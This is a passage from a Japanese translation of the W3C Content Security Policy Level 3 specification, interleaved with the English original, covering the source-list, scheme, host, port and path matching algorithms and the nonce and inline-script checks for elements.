~RET `合致しない^i
◎
↑</li>
</ol>

<p class="note">注記：
ここで検証yするのは、
【！%完全性~metadata は %~source~list 内の `hash-source$p たちが成す空でない下位集合であるかどうか】
［
%完全性~metadata と %~source~list 内の `hash-source$p たちが成す集合
］の交差集合は空でないかどうかに限られる。
これは、
応答において合致しない資源を阻止する際に，
~browserによる `SRI$r の施行nに依拠している。
◎
Note: Here, we verify only whether the integrity metadata is a non-empty subset of the hash-source sources in source list. We rely on the browser’s enforcement of Subresource Integrity [SRI] to block non-matching resources upon response.
</p>

				</section>
				<section id="match-request-to-source-list">
<h5 title="Does request match source list?">6.7.2.5. 要請は~source~listに合致するか？</h5>

<p>
この~algoは、
所与の
( `要請$ %要請, `~source~list$ %~source~list, `施策$ %施策 )
に対し，次を返す
⇒
`~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか？$A( %要請 の`現在の~URL$rq, %~source~list, %施策 の`自己-生成元$, %要請 の`~redirect回数$rq )
◎
Given a request request, a source list source list, and a policy policy, this algorithm returns the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on request’s current url, source list, policy’s self-origin, and request’s redirect count.
</p>

<p class="note">注記：
これは，一般に、
所与の`要請$が適理かどうか検証yするために
`指令$の`要請前~検査$A~algoから利用される。
◎
Note: This is generally used in directives' pre-request check algorithms to verify that a given request is reasonable.
</p>

				</section>
				<section id="match-response-to-source-list">
<h5 title="Does response to request match source list?">6.7.2.6. 要請に対する応答は~source~listに合致するか？</h5>

<p>
この~algoは、
所与の
( `応答$ %応答, `要請$ %要請, `~source~list$ %~source~list, `施策$ %施策 )
【！＊原文抜け 応答】
に対し，次を返す
⇒
`~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか？$A( %応答 の`~URL$rs, %~source~list, %施策 の`自己-生成元$, %要請 の`~redirect回数$rq )
◎
Given a request request, and a source list source list, and a policy policy, this algorithm returns the result of executing § 6.7.2.7 Does url match source list in origin with redirect count? on response’s url, source list, policy’s self-origin, and request’s redirect count.
</p>

<p class="note">注記：
これは，一般に、
所与の`応答$が適理かどうか検証yするために
`指令$の`要請後~検査$A~algoから利用される。
◎
Note: This is generally used in directives' post-request check algorithms to verify that a given response is reasonable.
</p>

				</section>
				<section id="match-url-to-source-list">
<h5 title="Does url match source list in origin with redirect count?">6.7.2.7. ~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか？</h5>

<p>
次の~algoは、
所与の
( `~URL$ %~URL, `~source~list$ %~source~list, `生成元$ %生成元, 整数 %~redirect回数 )
に対し，
%~URL は %~source~list 内のいずれかの`~source式$に［
合致するならば `合致する^i ／
合致しないならば `合致しない^i
］を返す：
◎
Given a URL url, a source list source list, an origin origin, and a number redirect count, this algorithm returns "Matches" if the URL matches one or more source expressions in source list, or "Does Not Match" otherwise:
</p>
<ol>
	<li>
~Assert：
%~source~list ~NEQ ~NULL
◎
Assert: source list is not null.
</li>
	<li>
~IF［
%~source~list は`空$である
］
⇒
~RET `合致しない^i
◎
If source list is empty, return "Does Not Match".
</li>
	<li>
<p>
~IF［
%~source~list の`~size$ ~EQ 1
］~AND［
%~source~list[ 0 ] ~EQ`大小無視$sub "`none$pl"
］
⇒
~RET `合致しない^i
◎
If source list’s size is 1, and source list[0] is an ASCII case-insensitive match for the string "'none'", return "Does Not Match".
</p>

<p class="note">注記：
空な %~source~list 
（すなわち、
（ <samp>`script-src^dir host1</samp> とは対照的に）
値を伴わない指令 <samp>`script-src$dir</samp> ）
は、
`none$pl を包含している %~source~list に等価になり，どの~URLにも合致しない。
◎
Note: An empty source list (that is, a directive without a value: script-src, as opposed to script-src host1) is equivalent to a source list containing 'none', and will not match any URL.
</p>

<p class="note">注記：
~keyword `none^pl は、
他の~source式が在るときには，効果は無い。
すなわち、
~list « "`none^pl" » は，どの~URLにも合致しない。
他方、
~list « "`none^pl", `https://example.com^l » は，
`https://example.com/^l に合致することになる。
◎
Note: The 'none' keyword has no effect when other source expressions are present. That is, the list « 'none' » does not match any URL. A list consisting of « 'none', https://example.com », on the other hand, would match https://example.com/.
</p>
	</li>
	<li>
<p>
%~source~list を成す
~EACH( %式 )
に対し：
◎
For each expression of source list:
</p>
		<ol>
			<li>
~IF［
`~URLは ( 生成元, ~redirect回数 ) について式に合致するか？$A( %~URL, %式, %生成元, %~redirect回数 )
~EQ `合致する^i
］
⇒
~RET `合致する^i
◎
If § 6.7.2.8 Does url match expression in origin with redirect count? returns "Matches" when executed upon url, expression, origin, and redirect count, return "Matches".
</li>
		</ol>
	</li>
	<li>
~RET `合致しない^i
◎
Return "Does Not Match".
</li>
</ol>

				</section>
				<section id="match-url-to-source-expression">
<h5 title="Does url match expression in origin with redirect count?">6.7.2.8. ~URL は ( 生成元, ~redirect回数 ) について式に合致するか？</h5>

<p>
次の~algoは、
所与の
( `~URL$ %~URL, `~source式$ %式, `生成元$ %生成元, 整数 %~redirect回数 )
に対し，
%~URL が %式 に［
合致するならば `合致する^i ／
合致しないならば `合致しない^i
］を返す：
◎
Given a URL url, a source expression expression, an origin origin, and a number redirect count, this algorithm returns "Matches" if url matches expression, and "Does Not Match" otherwise.
</p>

<p class="note">注記：
%生成元 は［
%式 が相対的に解決されるべき資源
］の`生成元$である
— 一例として， "`self$pl" は、
文脈の その一片に依存して別個な意味になる。
◎
Note: origin is the origin of the resource relative to which the expression should be resolved. "'self'", for instance, will have distinct meaning depending on that bit of context.
</p>

<ol>
	<li>
( %~URL~scheme, %~URL~host, %~URL~port ) ~LET ( %~URL の`~scheme$url, %~URL の`~host$url, %~URL の`~port$url )
◎
↓</li>
	<li>
<p>
( %生成元~scheme, %生成元~host, %生成元~port ) ~LET ( %生成元 の`~scheme$o, %生成元 の`~host$o, %生成元 の`~port$o )
</p>

<p class="trans-note">【
この~algoは、
%生成元 が`不透明な生成元$である場合を［
これらの変数が利用される各所
］で取扱っていない。
】</p>
◎
↓</li>
	<li>
<p>
~IF［
%式 ~EQ `~asterisk$
］~AND［
%~URL~scheme ~IN { `~HTTP_S~scheme$, %生成元~scheme }
］
⇒
~RET `合致する^i
◎
If expression is the string "*", return "Matches" if one or more of the following conditions is met:
• url’s scheme is an HTTP(S) scheme.
• url’s scheme is the same as origin’s scheme.
</p>

<p class="note">注記：
この~logicは、
非`~HTTP_S~scheme$からの資源を許容するためには，［
明示的にそう指定するか（例：
`default-src * data: custom-scheme-1: custom-scheme-2:^s
），または 保護される資源は同じ~schemeから読込まれなければナラナイ
］ことを意味する。
◎
Note: This logic means that in order to allow a resource from a non-HTTP(S) scheme, it has to be either explicitly specified (e.g. default-src * data: custom-scheme-1: custom-scheme-2:), or the protected resource must be loaded from the same scheme.
</p>
	</li>
	<li>
~IF［
%式 は `scheme-source$p 文法に合致する
］
⇒
~RET `~scheme成分は合致するか？$A( %式 の `scheme-part$p, %~URL~scheme )
◎
If expression matches the scheme-source＼
↓ or host-source grammar:
• If expression has a scheme-part, and it does not scheme-part match url’s scheme, return "Does Not Match".
• If expression matches the scheme-source grammar, return "Matches".
◎
↓</li>
	<li>
<p>
~IF［
%式 は `host-source$p 文法に合致する
］：
◎
If expression matches the host-source grammar:
</p>
		<ol>
			<li>
~IF［
%~URL~host ~EQ ~NULL
］
⇒
~RET `合致しない^i
◎
If url’s host is null, return "Does Not Match".
</li>
			<li>
<p>
%~scheme成分 ~LET ［
%式 は `scheme-part$p を含むならば それ ／
~ELSE_ %生成元~scheme
］
</p>

<p class="note">注記：
~schemeを伴わない `host-source$p 式は、
~schemeを伴うときと同様に，
~secureでない~schemeから~secureな~schemeへの昇格を許容する。
</p>
◎
↑↓</li>
			<li>
~IF［
`~scheme成分は合致するか？$A( %~scheme成分, %~URL~scheme ) ~EQ `合致しない^i
］
⇒
~RET `合致しない^i
◎
If expression does not have a scheme-part, and origin’s scheme does not scheme-part match url’s scheme, return "Does Not Match".
◎
Note: As with scheme-part above, we allow schemeless host-source expressions to be upgraded from insecure schemes to secure schemes.
</li>
			<li>
~IF［
`~host成分は合致するか？$A( %式 の `host-part$p, %~URL~host )
~EQ `合致しない^i
］
⇒
~RET `合致しない^i
◎
If expression’s host-part does not host-part match url’s host, return "Does Not Match".
</li>
			<li>
%~port成分 ~LET ［
%式 は `port-part$p を含むならば それ ／
~ELSE_ ~NULL
］
◎
Let port-part be expression’s port-part if present, and null otherwise.
</li>
			<li>
~IF［
`~port成分は合致するか？$A( %~port成分, %~URL )
~EQ `合致しない^i
］
⇒
~RET `合致しない^i
◎
If port-part does not port-part match url, return "Does Not Match".
</li>
			<li>
<p>
~IF［
%式 は［
空でない `path-part$p
］を含む
］~AND［
%~redirect回数 ~EQ 0
］：
◎
If expression contains a non-empty path-part, and redirect count is 0, then:
</p>
				<ol>
					<li>
%~URL~path ~LET %~URL の`~path$url
◎
↓</li>
					<li>
~IF［
%~URL~path は`~list$である
］
⇒
%~URL~path ~SET %~URL~path を`~slash$で`連結する$
◎
Let path be the resulting of joining url’s path on the U+002F SOLIDUS character (/).
</li>
					<li>
~IF［
`~path成分は合致するか？$A( %式 の `path-part$p, %~URL~path )
~EQ `合致しない^i
］
⇒
~RET `合致しない^i
◎
If expression’s path-part does not path-part match path, return "Does Not Match".
</li>
				</ol>
			</li>
			<li>
~RET `合致する^i
◎
Return "Matches".
</li>
		</ol>
	</li>
	<li>
<p>
~IF［
%式 ~EQ`大小無視$sub "`self$pl"
］：
◎
If expression is an ASCII case-insensitive match for "'self'", return "Matches" if one or more of the following conditions is met:
</p>
		<ol>
			<li>
~IF［
%生成元 と［
%~URL の`生成元$url
］は同じ【`同一-生成元$？】である
］
⇒
~RET `合致する^i
◎
origin is the same as url’s origin
</li>
			<li>
<p>
~IF［
%生成元~host ~EQ %~URL~host
］：
</p>
				<ol>
					<li>
~IF［
%生成元~port ~EQ ~NULL
］
⇒
%生成元~port ~SET %生成元~scheme 用の`既定~port$
</li>
					<li>
~IF［
%~URL~port ~EQ ~NULL
］
⇒
%~URL~port ~SET %~URL~scheme 用の`既定~port$
</li>
					<li>
<p>
~IF［
%生成元~port ~EQ %~URL~port
］~AND［
~OR↓
］…
</p>
						<ul>
							<li>
%~URL~scheme ~IN { `https^l, `wss^l }
</li>
							<li>
［
%~URL~scheme ~IN { `http^l, `ws^l }
］~AND［
%生成元~scheme ~EQ `http^l
］
</li>
						</ul>
<p>
…ならば
⇒
~RET `合致する^i：
</p>
					</li>
				</ol>
◎
origin’s host is the same as url’s host, origin’s port and url’s port are either the same or the default ports for their respective schemes, and one or more of the following conditions is met:
• url’s scheme is "https" or "wss"
• origin’s scheme is "http" and url’s scheme is "http" or "ws"
</li>
		</ol>

<p class="note">注記：
上の `scheme-part$p の~logicと同様に、
"`self$pl" 照合~algoは、
そうするのが安全なときには，
~secureな~schemeへの昇格を許容する。
これらの昇格は、［
特定0の~scheme用の既定~port ／
保護される資源の生成元に合致する~port
］上で稼働中の報告先に，制限される
— 昇格の成功-が適理に期待されるものに~~対処するには、
これで十分と見受けられるので。
◎
Note: Like the scheme-part logic above, the "'self'" matching algorithm allows upgrades to secure schemes when it is safe to do so. We limit these upgrades to endpoints running on the default port for a particular scheme or a port that matches the origin of the protected resource, as this seems sufficient to deal with upgrades that can be reasonably expected to succeed.
</p>
	</li>
	<li>
~RET `合致しない^i
◎
Return "Does Not Match".
</li>
</ol>

				</section>
				<section id="match-schemes">
<h5 title="scheme-part matching">6.7.2.9. `scheme-part^p の照合-法</h5>

<p>
`~scheme成分は合致するか？@A
( %A, %B )
（いずれも`~ASCII文字列$）は、
~CSP~source式の `scheme-part$p %A が
~URLの`~scheme$url %B に合致するかどうかを検査する：
◎
An ASCII string scheme-part matches another ASCII string if a CSP source expression that contained the first as a scheme-part could potentially match a URL containing the latter as a scheme. For example, we say that "http" scheme-part matches "https".
</p>

<div class="note">
<p>注記：
この関係は非対称であり、
%A, %B を入れ替えた結果は同じになるとは限らない。
例えば、
~source式［
`https:^s,
`https://example.com/^s
］はいずれも，~URL
`http://example.com/^s
に合致しない。
</p>

<p>
また，明示的に~secureでないな式からの~secureへの昇格は、
常に許容される。
例えば，次の表tの 1 列目に挙げる式は、
同じ行の 2 列目に挙げる式と等価に扱われる：
</p>

<table><tbody>
<tr><td>`script-src http:^s
<td>`script-src http: https:^s

<tr><td>`script-src http://example.com^s
<td>`script-src http://example.com https://example.com^s

<tr><td>`connect-src ws:^s
<td>`connect-src ws: wss:^s
</table>

◎
Note: The matching relation is asymmetric. For example, the source expressions https: and https://example.com/ do not match the URL http://example.com/. We always allow a secure upgrade from an explicitly insecure expression. script-src http: is treated as equivalent to script-src http: https:, script-src http://example.com to script-src http://example.com https://example.com, and connect-src ws: to connect-src ws: wss:.
</div>

<div>
<ol>
	<li>
%A ~SET `~ASCII小文字~化する$( %A )
</li>
	<li>
%B ~SET `~ASCII小文字~化する$( %B )
</li>
	<li>
<p>
~RET［
~OR↓ が満たされるならば `合致する^i ／
~ELSE_ `合致しない^i
］：
</p>
		<ul>
			<li>
%A ~EQ %B
</li>
			<li>
［
%A ~EQ `http^l
］~AND［
%B ~EQ `https^l
］
</li>
			<li>
［
%A ~EQ `ws^l
］~AND［
%B ~IN { `wss^l, `http^l,  `https^l }
］
</li>
			<li>
［
%A ~EQ `wss^l
］~AND［
%B ~EQ `https^l
］
</li>
		</ul>
	</li>
</ol>

◎
More formally, two ASCII strings A and B are said to scheme-part match if the following algorithm returns "Matches":
◎
If one of the following is true, return "Matches":
• A is an ASCII case-insensitive match for B.
• A is an ASCII case-insensitive match for "http", and B is an ASCII case-insensitive match for "https".
• A is an ASCII case-insensitive match for "ws", and B is an ASCII case-insensitive match for "wss", "http", or "https".
• A is an ASCII case-insensitive match for "wss", and B is an ASCII case-insensitive match for "https".
◎
Return "Does Not Match".
</div>

				</section>
				<section id="match-hosts">
<h5 title="host-part matching">6.7.2.10. `host-part^p の照合-法</h5>

<p>
`~host成分は合致するか？@A
( `~ASCII文字列$ %~pattern, `~host$ %~host )
は、
~CSP~source式の `host-part$p %~pattern が %~host に合致するかどうかを検査する：
◎
An ASCII string host-part matches a host if a CSP source expression that contained the first as a host-part could potentially match the latter. For example, we say that "www.example.com" host-part matches "www.example.com".
◎
More formally, ASCII string pattern and host host are said to host-part match if the following algorithm returns "Matches":
</p>

<p class="note">注記：
この関係は非対称であり、
【 %~host が~ASCII文字列であっても，】
%~pattern, %~host を入れ替えた結果は同じになるとは限らない。
例えば、
 ( %~pattern, %~host ) に対する
( `*.example.com^s, `www.example.com^s )
の結果は `合致する^i になるが，
( `www.example.com^s, `*.example.com^s )
の結果は `合致しない^i になる。
◎
Note: The matching relation is asymmetric. That is, pattern matching host does not mean that host will match pattern. For example, *.example.com host-part matches www.example.com, but www.example.com does not host-part match *.example.com.
</p>

<p class="note">注記：
この仕様の将来~versionは、
利用度や需要に依存して，~literalによる［
~IPv6 ／ ~IPv4
］~addressを許容するかもしれない。
しかしながら、
~IP~addressの~security上の特質は，名前を有する~hostに比して弱いので、
作者には，アリな所では~hostを選好することが奨励される。
◎
Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.
</p>

<ol>
	<li>
~IF［
%~host は`~domain$でない
］
⇒
~RET `合致しない^i
◎
If host is not a domain, return "Does Not Match".
</li>
	<li>
~IF［
%~pattern ~EQ `*^l
］
⇒
~RET `合致する^i
◎
If pattern is "*", return "Matches".
</li>
	<li>
%~pattern ~SET `~ASCII小文字~化する$( %~pattern )
◎
↓</li>
	<li>
%~host ~SET `~ASCII小文字~化する$( %~host )
◎
↓</li>
	<li>
~IF［
%~pattern は `*.^l `から開始して$いる
］
⇒
~RET ［
次が満たされるならば `合致する^i ／
~ELSE_ `合致しない^i
］
⇒
%~host は［
%~pattern の 1 から`終端までを成す符号単位~部分文字列$
］`で終端して$いる
◎
If pattern starts with "*.":
• Let remaining be pattern with the leading U+002A (*) removed and ASCII lowercased.
• If host to ASCII lowercase ends with remaining, then return "Matches".
• Return "Does Not Match".
</li>
	<li>
~RET ［
次が満たされるならば `合致する^i ／
~ELSE_ `合致しない^i
］
⇒
%~pattern ~EQ %~host
◎
If pattern is not an ASCII case-insensitive match for host, return "Does Not Match".
◎
Return "Matches".
</li>
</ol>

				</section>
				<section id="match-ports">
<h5 title="port-part matching">6.7.2.11. `port-part^p の照合-法</h5>

<p>
`~port成分は合致するか？@A
( ［
`~ASCII文字列$／ ~NULL
］ %入力, `~URL$ %~URL )
は、
%入力 として与えられた［
~CSP~source式の `port-part$p
］が %~URL の［
`~port$url, `~scheme$url
］に合致するかどうかを検査する：
◎
An ASCII string or null input port-part matches URL url if a CSP source expression that contained the first as a port-part could potentially match a URL containing the latter’s port and scheme. For example, "80" port-part matches matches http://example.com.
</p>
<ol>
	<li>
~Assert：
%入力 は， ~NULL でないならば次に挙げるいずれかである
⇒＃
`~asterisk$／
1 個以上の`~ASCII数字$たちが成す連列
◎
Assert: input is null, "*", or a sequence of one or more ASCII digits.
</li>
	<li>
~IF［
%入力 ~EQ `~asterisk$
］
⇒
~RET `合致する^i
◎
If input is equal to "*", return "Matches".
</li>
	<li>
%正規化-済み入力 ~LET %入力 に応じて
⇒＃
~NULL ならば ~NULL ／
~ELSE_ %入力 を 10 進数として解釈した結果
◎
Let normalizedInput be null if input null; otherwise input interpreted as decimal number.
</li>
	<li>
~IF［
%正規化-済み入力 ~EQ %~URL の`~port$url
］
⇒
~RET `合致する^i
◎
If normalizedInput equals url’s port, return "Matches".
</li>
	<li>
<p>
~IF［
%~URL の`~port$url ~EQ ~NULL
］~AND［
%正規化-済み入力 ~EQ %~URL の`~scheme$url用の`既定~port$
］
⇒
~RET `合致する^i
◎
If url’s port is null:
• Let defaultPort be the default port for url’s scheme.
• If normalizedInput equals defaultPort, return "Matches".
</li>
	<li>
~RET `合致しない^i
◎
Return "Does Not Match".
</li>
</ol>

				</section>
				<section id="match-paths">
<h5 title="path-part matching">6.7.2.12. `path-part^p の照合-法</h5>

<p>
`~path成分は合致するか？@A
( %A, %B )
（いずれも`~ASCII文字列$）は、
~CSP~source式の `path-part$p %A が
~URLの`~path$url %B に合致するかどうかを検査する：
◎
An ASCII string path A path-part matches another ASCII string path B if a CSP source expression that contained the first as a path-part could potentially match a URL containing the latter as a path. For example, we say that "/subdirectory/" path-part matches "/subdirectory/file".
</p>

<p class="note">注記：
この関係は非対称であり、
%A, %B を入れ替えた結果は同じになるとは限らない。
◎
Note: The matching relation is asymmetric. That is, path A matching path B does not mean that path B will match path A.
</p>

<ol>
	<li>
~IF［
%A ~EQ 空~文字列
］
⇒
~RET `合致する^i
◎
If path A is the empty string, return "Matches".
</li>
	<li>
~IF［
%A ~EQ `~slash$
］~AND［
%B ~EQ 空~文字列
］
⇒
~RET `合致する^i
◎
If path A consists of one character that is equal to the U+002F SOLIDUS character (/) and path B is the empty string, return "Matches".
</li>
	<li>
( %listA,  %listB ) ~LET
( `区切子で厳密に分割する$( %A, `~slash$ ), `区切子で厳密に分割する$( %B, `~slash$ ) )
◎
Let exact match be false if the final character of path A is the U+002F SOLIDUS character (/), and true otherwise.
◎
Let path list A and path list B be the result of strictly splitting path A and path B respectively on the U+002F SOLIDUS character (/).
</li>
	<li>
( %LA, %LB ) ~LET ( %listA の`~size$, %listB の`~size$ )
◎
↓</li>
	<li>
~IF［
%LA ~GT %LB
］
⇒
~RET `合致しない^i
◎
If path list A has more items than path list B, return "Does Not Match".
</li>
	<li>
~IF［
%listA[ %LA − 1 ] ~EQ 空~文字列
］
⇒
%LA ~DECBY 1
◎
↓</li>
	<li>
~ELIF［
%LA ~NEQ %LB
］
⇒
~RET `合致しない^i
◎
If exact match is true, and path list A does not have the same number of items as path list B, return "Does Not Match".
◎
If exact match is false:
• Assert: the final item in path list A is the empty string.
• Remove the final item from path list A.
</li>
	<li>
~EACH( 整数 %i ~IN { 0 〜 %LA − 1 } )
に対し
⇒
~IF［
`文字列を~byte列に~percent-復号する$( %listA[ %i ] )
~NEQ
`文字列を~byte列に~percent-復号する$( %listB[ %i ] )
］
⇒
~RET `合致しない^i
◎
For each piece A of path list A:
• Let piece B be the next item in path list B.
• Let decoded piece A be the percent-decoding of piece A.
• Let decoded piece B be the percent-decoding of piece B.
• If decoded piece A is not decoded piece B, return "Does Not Match".
</li>
	<li>
~RET `合致する^i
◎
Return "Matches".
</li>
</ol>

				</section>
			</section>
			<section id="matching-elements">
<h4 title="Element Matching Algorithms">6.7.3. 要素に対する照合~algo</h4>

				<section id="is-element-nonceable">
<h5 title="Is element nonceable?">6.7.3.1. 要素は~nonce可能か？</h5>

<p>
この~algoは、
所与の
( `要素$ %要素 )
に対し，
`nonce-source$p 式を［
適用できるならば（
`§ ~nonceの乗取り＠#security-nonce-hijacking$
を見よ） `~nonce可能^i ／
適用すべきでないならば `~nonce可能でない^i
］を返す：
◎
Given an Element element, this algorithm returns "Nonceable" if a nonce-source expression can match the element (as discussed in § 7.2 Nonce Hijacking), and "Not Nonceable" if such expressions should not be applied.
</p>
<ol>
	<li>
~IF［
%要素 は 名前 `nonce^l の属性を有さない
］
⇒
~RET `~nonce可能でない^i
◎
If element does not have an attribute named "nonce", return "Not Nonceable".
</li>
	<li>
<p>
~IF［
%要素 は `script$e 要素である
］
⇒
%要素 の`属性~list$を成す
~EACH( %属性 )
に対し：
◎
If element is a script element, then for each attribute of element’s attribute list:
</p>
		<ol>
			<li>
~IF［
%属性 の名前は `~ASCII大小無視$で［
`&lt;script^l, `&lt;style^l
］いずれかに合致する文字列を包含している
］
⇒
~RET `~nonce可能でない^i
◎
If attribute’s name contains an ASCII case-insensitive match for "&lt;script" or "&lt;style", return "Not Nonceable".
</li>
			<li>
~IF［
%属性 の値は `~ASCII大小無視$で［
`&lt;script^l, `&lt;style^l
］いずれかに合致する文字列を包含している
］
⇒
~RET `~nonce可能でない^i
◎
If attribute’s value contains an ASCII case-insensitive match for "&lt;script" or "&lt;style", return "Not Nonceable".
</li>
		</ol>
	</li>
	<li>
<p>
~IF［
%要素 を~token化したときに，
`構文解析-~error＠~HTMLparsing#parse-errors$【！~HEimages#concept-microsyntax-parse-error】( `duplicate-attribute＠~HTMLparsing#parse-error-duplicate-attribute$i 【重複な属性】 )
が生じた
］
⇒
~RET `~nonce可能でない^i
◎
If element had a duplicate-attribute parse error during tokenization, return "Not Nonceable".
</p>

<p class="issue">
何らかの類の［
この~errorを記録するための~hook
］が~HTMLにおいて必要である
— それをここで利用するよう計画しているならば。
[`whatwg/html 課題 #3257＠~HTMLissue/3257$]
◎
We need some sort of hook in HTML to record this error if we’re planning on using it here. [whatwg/html Issue #3257]
</p>
	</li>
	<li>
~RET `~nonce可能^i
◎
Return "Nonceable".
</li>
</ol>

<p class="issue">
この処理には、
~dangling-markup攻撃
— ~scriptを読込ませるために，既存の要素から~nonceを盗用して どこかへ注入する攻撃 —
の~riskを軽減することが意味されている。
しかしながら、［
~scriptを実行すべきかどうか決定するときに，すべての属性, それらの値を走査することになる
］ので，高価でもある。
ここでは、
この検査を［
要素が~nonceを有していて `script$e 要素であるとき
］に限り走査することにより，その影響iをできるだけ抑えようとしているが、
その影響iを知るまでは，この~algoは “~risk下にある” ものと見なすべきであろう。
[`98$issue]
◎
This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it requires that we walk through all attributes and their values in order to determine whether the script should execute. Here, we try to minimize the impact by doing this check only for script elements when a nonce is present, but we should probably consider this algorithm as "at risk" until we know its impact. [w3c/webappsec-csp Issue #98]
</p>

				</section>
				<section id="allow-all-inline">
<h5 title="Does a source list allow all inline behavior for type?">6.7.3.2. %~source~list は ある型~用の~inlineな挙動をすべて許容するか？</h5>

<p>
`~source~list$は、
次を満たすならば，所与の
( %型 )
用の
`~inlineな挙動をすべて許容する@
とされる
⇒
`keyword-source$p 式 `unsafe-inline^pl を包含する, かつ
— 次の~algoにて述べられるとおり —
その式を上書きしない
◎
A source list allows all inline behavior of a given type if it contains the keyword-source expression 'unsafe-inline', and does not override that expression as described in the following algorithm:
</p>

<p>
次の~algoは、
所与の
( `~source~list$ %~list, 文字列 %型 )
に対し，［
%型 の~inlineな内容すべてが許容されるならば
`許容する^i ／
~ELSE_ `許容しない^i
］を返す：
◎
Given a source list list and a string type, the following algorithm returns "Allows" if all inline content of a given type is allowed and "Does Not Allow" otherwise.
</p>
<ol>
	<li>
%~inlineをすべて許容するか ~LET ~F
◎
Let allow all inline be false.
</li>
	<li>
<p>
%~list を成す
~EACH( %式 )
に対し：
◎
For each expression of list:
</p>
		<ol>
			<li>
~IF［
%式 は［
`nonce-source$p ／ `hash-source$p
］文法に合致する
］
⇒
~RET `許容しない^i
◎
If expression matches the nonce-source or hash-source grammar, return "Does Not Allow".
</li>
			<li>
<p>
~IF［
%型 ~IN { `script^l, `script attribute^l, `navigation^l }
］~AND［
%式 ~EQ `strict-dynamic$pl
］
⇒
~RET `許容しない^i
◎
If type is "script", "script attribute" or "navigation" and expression matches the keyword-source "'strict-dynamic'", return "Does Not Allow".
</p>

<p class="note">注記：
`strict-dynamic$pl が適用される資源~型は~scriptに限られる。
詳細は、
`§ ~strict-dynamic の用法$
にて。
◎
Note: 'strict-dynamic' only applies to scripts, not other resource types. Usage is explained in more detail in § 8.2 Usage of "'strict-dynamic'".
</p>
			</li>
			<li>
~IF［
%式 ~EQ`大小無視$sub `unsafe-inline$pl
］
⇒
%~inlineをすべて許容するか ~SET ~T
◎
If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-inline'", set allow all inline to true.
</li>
		</ol>
	<li>
~RET ［
%~inlineをすべて許容するか ~EQ ~T ならば `許容する^i ／
~ELSE_ `許容しない^i
］
◎
If allow all inline is true, return "Allows". Otherwise, return "Does Not Allow".
</li>
</ol>

<div class="example">
<p>
次の`~source~list$は、
`~inlineな挙動をすべて許容する$
◎
Source lists that allow all inline behavior:
</p>

<pre class="lang-http">
'unsafe-inline' http://a.com http://b.com
'unsafe-inline'
</pre>

<p>
次の`~source~list$は、
~nonce／~hashが在ること, または
`unsafe-inline^pl が無いことに因り
`~inlineな挙動をすべて許容する$ことはない：
◎
Source lists that do not allow all inline behavior due to the presence of nonces and/or hashes, or absence of 'unsafe-inline':
</p>

<pre class="lang-http">
'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'
</pre>

<p>
次の`~source~list$は、
%型 ~IN { `script^pl, `script attribute^pl }
のときは， `strict-dynamic^pl が在ることに因り
`~inlineな挙動をすべて許容する$ことはないが、
他の場合は`~inlineな挙動をすべて許容する$：
◎
Source lists that do not allow all inline behavior when type is 'script' or 'script attribute' due to the presence of 'strict-dynamic', but allow all inline behavior otherwise:
</p>

<pre class="lang-http">
'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'
</pre>
</div>

				</section>
				<section id="match-element-to-source-list">
<h5 title="Does element match source list for type and source?">6.7.3.3. 要素は ( 型, ~source ) について~source~listに合致するか？</h5>

<p>
次の~algoは、
所与の
( `要素$ %要素, `~source~list$ %~list, 文字列 %型, 文字列 %~source )
に対し，［
`合致する^i または `合致しない^i
］を返す：
◎
Given an Element element, a source list list, a string type, and a string source, this algorithm returns "Matches" or "Does Not Match".
</p>

<p class="note">注記：
文書の符号化法に関わらず、
%~source は，~hash用~algoを適用する前に~UTF-8に変換されることになる。
◎
Note: Regardless of the encoding of the document, source will be converted to UTF-8 before applying any hashing algorithms.
</p>

<ol>
	<li>
~IF［
`~source~listは型~用の~inlineな挙動をすべて許容するか？$A( %~list, %型 )
の結果 ~EQ `許容する^i
］
⇒
~RET `合致する^i
◎
If § 6.7.3.2 Does a source list allow all inline behavior for type? returns "Allows" given list and type, return "Matches".
</li>
	<li>
<p>
~IF［
%型 ~IN { `script^l, `style^l }
］~AND［
`要素は~nonce可能か？$A( %要素 ) ~EQ `~nonce可能^i 
］：
◎
If type is "script" or "style", and § 6.7.3.1 Is element nonceable? returns "Nonceable" when executed upon element:
</p>
		<ol>
			<li>
<p>
%~list を成す
~EACH( %式 )
に対し：
◎
For each expression of list:
</p>
				<ol>
					<li>
~IF［
%式 は `nonce-source$p 文法に合致する
］~AND［
%要素 は `nonce$a 属性を有していて［
その値 ~EQ %式 の `base64-value$p 成分
］］
⇒
~RET `合致する^i
◎
If expression matches the nonce-source grammar, and element has a nonce attribute whose value is expression’s base64-value part, return "Matches".
</li>
				</ol>
<p class="note">注記：
~nonceが適用されるのは、
~inlineな［
`script$e ／ `style$e
］要素であり，これらの要素の属性でも `javascript_^sc ~naviでもない。
◎
Note: Nonces only apply to inline script and inline style, not to attributes of either element or to javascript: navigations.
</p>
			</li>
		</ol>
	</li>
	<li>
%安全でない~hashか ~LET ~F
◎
Let unsafe-hashes flag be false.
</li>
	<li>
<p>
%~list を成す
~EACH( %式 )
に対し：
◎
For each expression of list:
</p>
		<ol>
			<li>
~IF［
%式 ~EQ`大小無視$sub `unsafe-hashes$pl
］
⇒＃
%安全でない~hashか ~SET ~T；
~BREAK
◎
If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-hashes'", set unsafe-hashes flag to true. Break out of the loop.
</li>
		</ol>
	</li>
	<li>
<p>
~IF［
%型 ~IN { `script^l, `style^l }
］~OR［
%安全でない~hashか ~EQ ~T
］：
◎
If type is "script" or "style", or unsafe-hashes flag is true:
</p>
		<ol>
			<li>
%~source ~SET `~UTF-8符号化する$( `~scalar値~文字列に変換する$( %~source ) )
◎
Set source to the result of executing UTF-8 encode on the result of executing JavaScript string converting on source.
</li>
			<li>
<p>
%~list を成す
~EACH( %式 )
に対し：
◎
For each expression of list:
</p>
				<ol>
					<li>
~IF［
%式 は `hash-source$p 文法に合致しない
］
